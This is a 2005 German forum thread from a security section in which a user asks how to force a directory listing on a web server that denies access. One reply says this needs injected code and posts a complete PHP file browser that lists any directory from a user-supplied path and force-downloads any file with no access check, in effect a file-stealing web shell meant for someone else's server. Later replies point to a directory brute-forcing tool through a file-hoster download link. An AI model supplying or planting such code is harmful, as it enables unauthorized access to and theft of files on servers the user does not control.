Directory Listing erzwingen?

Dieses Thema im Forum "Sicherheit & Datenschutz" wurde erstellt von ungueltig, 17. Juli 2005 .

Status des Themas:
Es sind keine weiteren Antworten möglich.
  1. 17. Juli 2005
    Gibt es irgendeine Möglichkeit ein Directory Listing zu erzwingen?
    Also wenn da kommt "u dont have permission to access abc.de/fg/"
    Aber man die html dateien z.B abc.de/fg/hij.html aufrufen darf.

    Kommt man dann irgendwie an das Directory Listing?
    Wie siehts da mit Referer spoofing aus?
     
  2. 19. Juli 2005
    Geht nicht , außer wenn du selber einen code einschläußen kannst (php o.ä.) der für dich ein Listing erzeugt.

    Code:
    <?php
    $default="./";
    $this_file="./cd.php";
    if(isset($save)){
     $fname=str_replace(" ","_",$fname);
     $fname=str_replace("%20","_",$fname);
     header("Cache-control: private");
     header("Content-type: application/force-download");
     header("Content-Length: ".filesize($save));
     header("Content-Disposition: attachment; filename=$fname");
     $fp = fopen($save, 'r');
     fpassthru($fp);
     fclose($fp);
     unset($save);
     exit;
     }
    echo "<div align=center>
    <font face='Arial' size='2' color='#000000'>
    DOCUMENT ROOT: $DOCUMENT_ROOT
    <form method=post action=$this_file>";
    if(!isset($dir)){
     $dir="$default";
     }
    echo "<input type=text size=60 name=dir value='$dir'>
    <input type=submit value='get contents'>
    </form>
    </div>";
    $path=$dir;
    if(isset($dir)){
    if ($dir = @opendir("$dir")) {
     while (($file = readdir($dir)) !== false) {
     if($file!="." && $file!=".."){
     if(is_file("$path/$file")){
     $disk_space=filesize("$path/$file");
     $kb=$disk_space/1024;
     $total_kb = number_format($kb, 2, '.', '');
     $total_kb2="Kb";
     echo "$file - <a href='./$this_file?save=$path/$file&fname=$file'>save</a> - $total_kb$total_kb2<br>\n";
     }
    else{
     echo "<a href='./$this_file?dir=$path/$file'>CD></a> $file<br>\n";
     }
     }
    }
    closedir($dir);
    }
    }
    echo "</font>";
    ?>
    
    
     
  3. 20. Juli 2005
    doch es geht mit nem programm, das hat eh schon einer hier im forum gepostet aber ich finde den thread nicht mehr und erinnere mich auch nicht an den namen des prog's; aber mir wirds sicher noch einfallen
     
  4. 20. Juli 2005
    Falls du Teleport Pro meinst.. es sieht wie ein Listing; aus zeigt aber nur die Dateien an die auf irgendeine Art und Weise mit den Durchsuchten Dateien verknüpft sind.
     
  5. 20. Juli 2005
    na es heißt irgendwas mit i....
    ich hab es eh zu haus nur bin ich jetzt eben nicht zuhause^^

    edit: 18:00uhr bin ich zhaus
     
  6. 20. Juli 2005
    falls du das Proggi gefunden hast pls post, da ich gerne wüßte was es ist, bzw wie es funktionieren soll. (da listing ja am Server liegt und nicht am client)
     
  7. 20. Juli 2005
    http://rapidshare.de/files/3209480/intellitamper_v2.07.exe.html

    hier ist das prog das die websiten ausliest
    mehr weiß ich auch nicht, ich habs hier irgendwo im board gefunden, such's mal mit google, dann findest du vielleicht die website von der es ist.
     
  8. 20. Juli 2005
    Es testet halt alle möglichen Kombinationen.

    Aber sobalt du nen Dateinamen wie LWH7Xk5hv8.html hast kommtst du mit dem Programm auch nichtmehr weiter.
     
  9. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.